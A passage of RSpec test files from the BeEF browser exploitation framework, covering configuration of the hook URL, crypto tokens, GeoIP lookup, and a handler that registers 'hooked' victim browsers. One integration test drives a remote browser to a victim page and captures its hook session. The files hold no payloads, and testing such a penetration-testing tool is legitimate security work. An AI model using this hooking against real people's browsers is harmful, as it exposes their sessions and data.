eq(nil)\n      expect(@config_instance.beef_port).to eq('3000')\n    end\n\n    it 'should return the public host value because a public has been set' do\n      @config_instance.set('beef.http.port', '3000')\n      @config_instance.set('beef.http.public.port', '80')\n      @config_instance.set('beef.http.public.host', nil)\n      expect(@config_instance.get('beef.http.port')).to eq('3000')\n      expect(@config_instance.get('beef.http.public.port')).to eq('80')\n      expect(@config_instance.get('beef.http.public.host')).to eq(nil)\n      expect(@config_instance.beef_port).to eq('80')\n    end\n    \n    it 'should return a protocol https if https public has been enabled and public host is set' do\n      @config_instance.set('beef.http.public.https', true)\n      @config_instance.set('beef.http.public.host', 'public')\n      expect(@config_instance.get('beef.http.public.https')).to eq(true)\n      expect(@config_instance.beef_proto).to eq('https')\n    end\n\n    it 'should return a protocol http if public is not set and https local is fales'  do\n      @config_instance.set('beef.http.public.https', false)\n      @config_instance.set('beef.http.https.enable', false)\n      expect(@config_instance.get('beef.http.public.https')).to eq(false)\n      expect(@config_instance.beef_proto).to eq('http')\n    end\n\n    it 'should return the full url string for beef local http and port 80' do\n      @config_instance.set('beef.http.host', 'localhost')\n      @config_instance.set('beef.http.port', '80')\n      @config_instance.set('beef.http.https.enable', false)\n      @config_instance.set('beef.http.public.https', false)\n      @config_instance.set('beef.http.public.host', nil)\n      @config_instance.set('beef.http.public.port', nil)\n      expect(@config_instance.get('beef.http.host')).to eq('localhost')\n      expect(@config_instance.get('beef.http.port')).to eq('80')\n      expect(@config_instance.get('beef.http.https.enable')).to eq(false)\n      expect(@config_instance.get('beef.http.public.https')).to eq(false)\n      expect(@config_instance.beef_url_str).to eq('http://localhost:80')\n    end\n\n    it 'should return the full url string for beef https localhost 3000 default' do\n      @config_instance.set('beef.http.host', 'localhost')\n      @config_instance.set('beef.http.port', nil)\n      @config_instance.set('beef.http.https.enable', true)\n      @config_instance.set('beef.http.public.host', nil)\n      @config_instance.set('beef.http.public.https', false)\n      @config_instance.set('beef.http.public.host', nil)\n      @config_instance.set('beef.http.public.port', nil)\n      expect(@config_instance.get('beef.http.host')).to eq('localhost')\n      expect(@config_instance.get('beef.http.port')).to eq(nil)\n      expect(@config_instance.get('beef.http.https.enable')).to eq(true)\n      expect(@config_instance.get('beef.http.public.https')).to eq(false)\n      expect(@config_instance.beef_url_str).to eq('https://localhost:3000')\n    end\n\n    it 'should return the full url string for beef hook url' do\n      @config_instance.set('beef.http.host', 'localhost')\n      @config_instance.set('beef.http.port', nil)\n      @config_instance.set('beef.http.https.enable', true)\n      @config_instance.set('beef.http.public.https', false)\n      @config_instance.set('beef.http.public.host', nil)\n      @config_instance.set('beef.http.public.port', nil)\n      @config_instance.set('beef.http.hook_file', '/hook.js')\n      expect(@config_instance.get('beef.http.host')).to eq('localhost')\n      expect(@config_instance.get('beef.http.port')).to eq(nil)\n      expect(@config_instance.get('beef.http.https.enable')).to eq(true)\n      expect(@config_instance.get('beef.http.public.https')).to eq(false)\n      expect(@config_instance.get('beef.http.hook_file')).to eq('/hook.js')\n      expect(@config_instance.beef_url_str).to eq('https://localhost:3000')\n      expect(@config_instance.hook_url).to eq('https://localhost:3000/hook.js')\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/crypto_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'spec_helper'\n\nRSpec.describe 'BeEF::Core::Crypto' do\n  let(:config) { BeEF::Core::Configuration.instance }\n\n  describe '.secure_token' do\n    it 'generates a hex string of the specified length' do\n      token = BeEF::Core::Crypto.secure_token(20)\n      expect(token).to be_a(String)\n      expect(token.length).to eq(40) # 20 bytes = 40 hex chars\n      expect(token).to match(/\\A[0-9a-f]+\\z/)\n    end\n\n    it 'uses config default length when no length provided' do\n      default_length = config.get('beef.crypto_default_value_length').to_i\n      token = BeEF::Core::Crypto.secure_token\n      expect(token.length).to eq(default_length * 2) # bytes to hex conversion\n    end\n\n    it 'raises TypeError for length below minimum' do\n      expect { BeEF::Core::Crypto.secure_token(10) }.to raise_error(TypeError, /minimum length/)\n    end\n\n    it 'generates different tokens on each call' do\n      token1 = BeEF::Core::Crypto.secure_token(20)\n      token2 = BeEF::Core::Crypto.secure_token(20)\n      expect(token1).not_to eq(token2)\n    end\n  end\n\n  describe '.random_alphanum_string' do\n    it 'generates a string of the specified length' do\n      result = BeEF::Core::Crypto.random_alphanum_string(15)\n      expect(result).to be_a(String)\n      expect(result.length).to eq(15)\n      expect(result).to match(/\\A[a-zA-Z0-9]+\\z/)\n    end\n\n    it 'raises TypeError for invalid inputs' do\n      expect { BeEF::Core::Crypto.random_alphanum_string('invalid') }.to raise_error(TypeError)\n      expect { BeEF::Core::Crypto.random_alphanum_string(0) }.to raise_error(TypeError, /Invalid length/)\n      expect { BeEF::Core::Crypto.random_alphanum_string(-1) }.to raise_error(TypeError, /Invalid length/)\n    end\n  end\n\n  describe '.random_hex_string' do\n    it 'generates a hex string of the specified length' do\n      result = BeEF::Core::Crypto.random_hex_string(10)\n      expect(result).to be_a(String)\n      expect(result.length).to eq(10)\n      expect(result).to match(/\\A[0-9a-f]+\\z/)\n    end\n\n    it 'raises TypeError for invalid inputs' do\n      expect { BeEF::Core::Crypto.random_hex_string('invalid') }.to raise_error(TypeError)\n      expect { BeEF::Core::Crypto.random_hex_string(0) }.to raise_error(TypeError, /Invalid length/)\n    end\n  end\n\n  # NOTE: .dns_rule_id is not tested here as it requires database queries\n  # and is better suited for integration tests\nend\n"
  },
  {
    "path": "spec/beef/core/main/geoip_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::GeoIp do\n  let(:config) { BeEF::Core::Configuration.instance }\n  let(:geoip) { described_class.instance }\n\n  # Mock MaxMind module if not available\n  before do\n    unless defined?(MaxMind)\n      stub_const('MaxMind', Module.new)\n      stub_const('MaxMind::DB', Class.new)\n    end\n    # MODE_MEMORY is actually :MODE_MEMORY (not :memory) - use actual value if available\n    mode_memory = defined?(MaxMind::DB::MODE_MEMORY) ? MaxMind::DB::MODE_MEMORY : :MODE_MEMORY\n    stub_const('MaxMind::DB::MODE_MEMORY', mode_memory) unless defined?(MaxMind::DB::MODE_MEMORY)\n  end\n\n  before do\n    # Reset singleton instance for each test\n    described_class.instance_variable_set(:@singleton__instance__, nil)\n    # Allow config to receive other calls\n    allow(config).to receive(:get).and_call_original\n  end\n\n  describe '#initialize' do\n    it 'disables GeoIP when configuration is false' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(false)\n      expect(geoip.enabled?).to be false\n    end\n\n    it 'disables GeoIP when database file does not exist' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.geoip.database').and_return('/nonexistent/db.mmdb')\n      allow(File).to receive(:exist?).with('/nonexistent/db.mmdb').and_return(false)\n      expect(geoip.enabled?).to be false\n    end\n\n    it 'enables GeoIP when database file exists' do\n      # Set up stub BEFORE singleton is created\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb')\n      allow(File).to receive(:exist?).and_call_original\n      allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true)\n      mock_reader = double('MaxMind::DB')\n      allow(mock_reader).to receive(:freeze)\n      allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', { mode: MaxMind::DB::MODE_MEMORY }).and_return(mock_reader)\n      # Reset singleton so it reinitializes with our stubs\n      described_class.instance_variable_set(:@singleton__instance__, nil)\n      expect(geoip.enabled?).to be true\n    end\n\n    it 'disables GeoIP on initialization error' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb')\n      allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true)\n      allow(MaxMind::DB).to receive(:new).and_raise(StandardError.new('Database error'))\n      expect(geoip.enabled?).to be false\n    end\n  end\n\n  describe '#enabled?' do\n    it 'returns false when GeoIP is disabled' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(false)\n      expect(geoip.enabled?).to be false\n    end\n\n    it 'returns true when GeoIP is enabled' do\n      # Set up stub BEFORE singleton is created - singleton initializes when let(:geoip) is called\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb')\n      allow(File).to receive(:exist?).and_call_original\n      allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true)\n      mock_reader = double('MaxMind::DB')\n      allow(mock_reader).to receive(:freeze)\n      # The actual call is: MaxMind::DB.new('/path/to/db.mmdb', mode: :MODE_MEMORY)\n      allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', { mode: :MODE_MEMORY }).and_return(mock_reader)\n      # Reset singleton so it reinitializes with our stubs\n      described_class.instance_variable_set(:@singleton__instance__, nil)\n      expect(geoip.enabled?).to be true\n    end\n  end\n\n  describe '#lookup' do\n    it 'raises TypeError for non-string IP' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(false)\n      expect { geoip.lookup(123) }.to raise_error(TypeError, /\"ip\" needs to be a string/)\n    end\n\n    it 'returns nil when GeoIP is disabled' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(false)\n      expect(geoip.lookup('192.168.1.1')).to be_nil\n    end\n\n    it 'returns lookup result when GeoIP is enabled' do\n      allow(config).to receive(:get).with('beef.geoip.enable').and_return(true)\n      allow(config).to receive(:get).with('beef.geoip.database').and_return('/path/to/db.mmdb')\n      allow(File).to receive(:exist?).with('/path/to/db.mmdb').and_return(true)\n      mock_reader = double('MaxMind::DB')\n      allow(mock_reader).to receive(:freeze)\n      allow(mock_reader).to receive(:get).with('192.168.1.1').and_return({ 'city' => 'Test City' })\n      allow(MaxMind::DB).to receive(:new).with('/path/to/db.mmdb', anything).and_return(mock_reader)\n      result = geoip.lookup('192.168.1.1')\n      expect(result).to eq({ 'city' => 'Test City' })\n    end\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/handlers/browser_details_handler_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nrequire 'rest-client'\nrequire 'json'\nrequire_relative '../../../../spec_helper'\nrequire_relative '../../../../support/constants'\nrequire_relative '../../../../support/beef_test'\n\nRSpec.describe 'Browser Details Handler', run_on_browserstack: true do\n  before(:all) do\n    @__ar_config_snapshot = SpecActiveRecordConnection.snapshot\n    @config = BeEF::Core::Configuration.instance\n    db_file = @config.get('beef.database.file')\n    print_info 'Resetting the database for BeEF.'\n\n    if ENV['RESET_DB']\n      File.delete(db_file) if File.exist?(db_file)\n    end\n    \n    @config.set('beef.credentials.user', 'beef')\n    @config.set('beef.credentials.passwd', 'beef')\n    @username = @config.get('beef.credentials.user')\n    @password = @config.get('beef.credentials.passwd')\n\n    # Load BeEF extensions and modules\n    # Always load Extensions, as previous changes to the config from other tests may affect\n    # whether or not this test passes.\n    print_info 'Loading in BeEF::Extensions'\n    BeEF::Extensions.load\n\n    # Check if modules already loaded. No need to reload.\n    if @config.get('beef.module').nil?\n      print_info 'Loading in BeEF::Modules'\n      BeEF::Modules.load\n    else\n      print_info 'Modules already loaded'\n    end\n\n    # Grab DB file and regenerate if requested\n    print_info 'Loading database'\n\n    # Load up DB and migrate if necessary\n    ActiveRecord::Base.logger = nil\n    OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file)\n    # otr-activerecord require you to manually establish the connection with the following line\n    #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\n    if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n      OTR::ActiveRecord.establish_connection!\n    end\n\n    # Migrate (if required)\n    ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\n    MUTEX.synchronize do\n      context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\n      if context.needs_migration?\n        ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\n      end\n    end\n    BeEF::Core::Migration.instance.update_db!\n\n    # Spawn HTTP Server\n    print_info 'Starting HTTP Hook Server'\n    http_hook_server = BeEF::Core::Server.instance\n\n    # Generate a token for the server to respond with\n    @token = BeEF::Core::Crypto.api_token\n\n    # ***** IMPORTANT: close any and all AR/OTR connections before forking *****\n    disconnect_all_active_record!\n\n    # Initiate server start-up\n    @pid = fork do\n      http_hook_server.prepare\n      BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n      http_hook_server.start\n    end\n\n    begin\n      @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID])\n      @caps['name'] = self.class.description || ENV['name'] || 'no-name'\n      @caps['browserstack.local'] = true\n      @caps['browserstack.video'] = true\n      @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER']\n\n      @driver = Selenium::WebDriver.for(:remote,\n                                        url: \"http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub\",\n                                        options: @caps)\n      # Hook new victim\n      print_info 'Hooking a new victim, waiting a few seconds...'\n      wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds\n\n      @driver.navigate.to VICTIM_URL.to_s\n\n      sleep 3\n\n      sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 }\n\n      @session = @driver.execute_script('return window.beef.session.get_hook_session_id()')\n    end\n  end\n\n  after(:all) do\n    server_teardown(@driver, @pid, @pids)\n    disconnect_all_active_record!\n    SpecActiveRecordConnection.restore!(@__ar_config_snapshot)\n  end\n\n  it 'can successfully hook a browser' do\n    expect(@session).not_to be_nil\n  end\n\n  it 'browser details handler working' do\n    print_info 'Getting browser details'\n    hooked_browser = BeEF::Core::Models::HookedBrowser.all.first\n    details = JSON.parse(RestClient.get(\"#{RESTAPI_HOOKS}/#{hooked_browser.session}?token=#{@token}\"))\n\n    browser_name = if details['browser.name.friendly'].downcase == 'internet explorer'\n                     'internet_explorer'\n                   else\n                     details['browser.name.friendly'].downcase\n                   end\n\n    expect(@driver.browser.to_s.downcase).to eq(browser_name)\n  end\nend\n"
  },
  {
    "path": "spec/beef/core/main/handlers/browserdetails_spec.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nRSpec.describe BeEF::Core::Handlers::BrowserDetails do\n  let(:config) { BeEF::Core::Configuration.instance }\n  let(:session_id) { 'test_session_123' }\n  let(:mock_request) do\n    double('Request',\n           ip: '127.0.0.1',\n           referer: 'http://example.com',\n           env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0' })\n  end\n  let(:data) do\n    {\n      'beefhook' => session_id,\n      'request' => mock_request,\n      'results' => {\n        'browser.name' => 'FF',\n        'browser.version' => '91.0',\n        'browser.window.hostname' => 'example.com',\n        'browser.window.hostport' => '80'\n      }\n    }\n  end\n\n  before do\n    allow(config).to receive(:get).and_call_original\n    allow(config).to receive(:get).with('beef.dns_hostname_lookup').and_return(false)\n    allow(config).to receive(:get).with('beef.extension.network.enable').and_return(false)\n    allow(config).to receive(:get).with('beef.http.websocket.enable').and_return(false)\n    allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).and_return(true)\n    allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n    allow(BeEF::Core::Logger.instance).to receive(:register)\n    allow(BeEF::Core::GeoIp.instance).to receive(:enabled?).and_return(false)\n    # Stub NetworkHost if it exists, otherwise stub the constant\n    if defined?(BeEF::Core::Models::NetworkHost)\n      allow(BeEF::Core::Models::NetworkHost).to receive(:create)\n    else\n      stub_const('BeEF::Core::Models::NetworkHost', double('NetworkHost', create: nil))\n    end\n  end\n\n  describe '#initialize' do\n    it 'initializes with data and calls setup' do\n      expect_any_instance_of(described_class).to receive(:setup)\n      described_class.new(data)\n    end\n  end\n\n  describe '#err_msg' do\n    let(:handler) do\n      instance = described_class.allocate\n      instance.instance_variable_set(:@data, data)\n      instance\n    end\n\n    it 'calls print_error with prefixed message' do\n      expect(handler).to receive(:print_error).with('[Browser Details] test error')\n      handler.err_msg('test error')\n    end\n  end\n\n  describe '#get_param' do\n    let(:handler) do\n      # Create handler but prevent full setup execution\n      instance = described_class.allocate\n      instance.instance_variable_set(:@data, data)\n      instance\n    end\n\n    it 'returns value when key exists in hash' do\n      result = handler.get_param(data['results'], 'browser.name')\n      expect(result).to eq('FF')\n    end\n\n    it 'returns nil when key does not exist' do\n      result = handler.get_param(data['results'], 'nonexistent')\n      expect(result).to be_nil\n    end\n\n    it 'returns nil when query is not a hash' do\n      result = handler.get_param('not a hash', 'key')\n      expect(result).to be_nil\n    end\n\n    it 'converts value to string' do\n      result = handler.get_param({ 'key' => 123 }, 'key')\n      expect(result).to eq('123')\n    end\n  end\n\n  describe '#setup' do\n    it 'validates session id' do\n      invalid_data = data.dup\n      invalid_data['beefhook'] = 'invalid'\n      allow(BeEF::Filters).to receive(:is_valid_hook_session_id?).with('invalid').and_return(false)\n      expect { described_class.new(invalid_data) }.not_to raise_error\n    end\n\n    it 'skips setup if browser already registered' do\n      existing_browser = double('HookedBrowser', session: session_id)\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([existing_browser])\n      expect(BeEF::Core::Models::HookedBrowser).not_to receive(:new)\n      described_class.new(data)\n    end\n\n    it 'creates new hooked browser when not registered' do\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=)\n      allow(zombie).to receive(:port=)\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      # Mock JSON.parse for proxy detection\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      described_class.new(data)\n      expect(BeEF::Core::Models::HookedBrowser).to have_received(:new).with(ip: '127.0.0.1', session: session_id)\n    end\n\n    it 'extracts domain from referer when hostname is missing' do\n      referer_data = data.dup\n      referer_data['results'].delete('browser.window.hostname')\n      referer_data['results'].delete('browser.window.hostport')\n      referer_data['request'] = double('Request', ip: '127.0.0.1', referer: 'https://example.com/page', env: {})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=).with('example.com')\n      allow(zombie).to receive(:port=).with(443)\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      described_class.new(referer_data)\n      expect(zombie).to have_received(:domain=).with('example.com')\n      expect(zombie).to have_received(:port=).with(443)\n    end\n\n    it 'falls back to unknown domain when hostname and referer are missing' do\n      unknown_data = data.dup\n      unknown_data['results'].delete('browser.window.hostname')\n      unknown_data['request'] = double('Request', ip: '127.0.0.1', referer: nil, env: {})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=).with('unknown')\n      allow(zombie).to receive(:port=)\n      allow(zombie).to receive(:httpheaders=)\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      described_class.new(unknown_data)\n      expect(zombie).to have_received(:domain=).with('unknown')\n    end\n\n    it 'parses HTTP headers from request env' do\n      env_data = data.dup\n      env_data['request'] = double('Request',\n                                   ip: '127.0.0.1',\n                                   referer: 'http://example.com',\n                                   env: { 'HTTP_USER_AGENT' => 'Mozilla/5.0', 'HTTP_ACCEPT' => 'text/html' })\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:alphanums_only?).and_return(true)\n      allow(BeEF::Core::Models::BrowserDetails).to receive(:set)\n      allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox')\n      zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1')\n      allow(zombie).to receive(:firstseen=)\n      allow(zombie).to receive(:domain=)\n      allow(zombie).to receive(:port=)\n      allow(zombie).to receive(:httpheaders=) do |headers|\n        parsed = JSON.parse(headers)\n        expect(parsed).to have_key('USER_AGENT')\n        expect(parsed).to have_key('ACCEPT')\n        expect(parsed['USER_AGENT']).to eq('Mozilla/5.0')\n      end\n      allow(zombie).to receive(:httpheaders).and_return('{}')\n      allow(zombie).to receive(:save!)\n      allow(JSON).to receive(:parse).and_call_original\n      allow(JSON).to receive(:parse).with('{}').and_return({})\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie)\n      described_class.new(env_data)\n    end\n\n    it 'performs DNS hostname lookup when enabled' do\n      allow(config).to receive(:get).with('beef.dns_hostname_lookup').and_return(true)\n      allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([])\n      allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hostname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cookies?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_osname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_hwname?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_date_stamp?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagetitle?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_url?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_pagereferrer?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_port?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_browser_plugins?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_system_platform?).and_return(true)\n      allow(BeEF::Filters).to receive(:nums_only?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_yes_no?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_memory?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_gpu?).and_return(true)\n      allow(BeEF::Filters).to receive(:is_valid_cpu?).and_return(true)\n      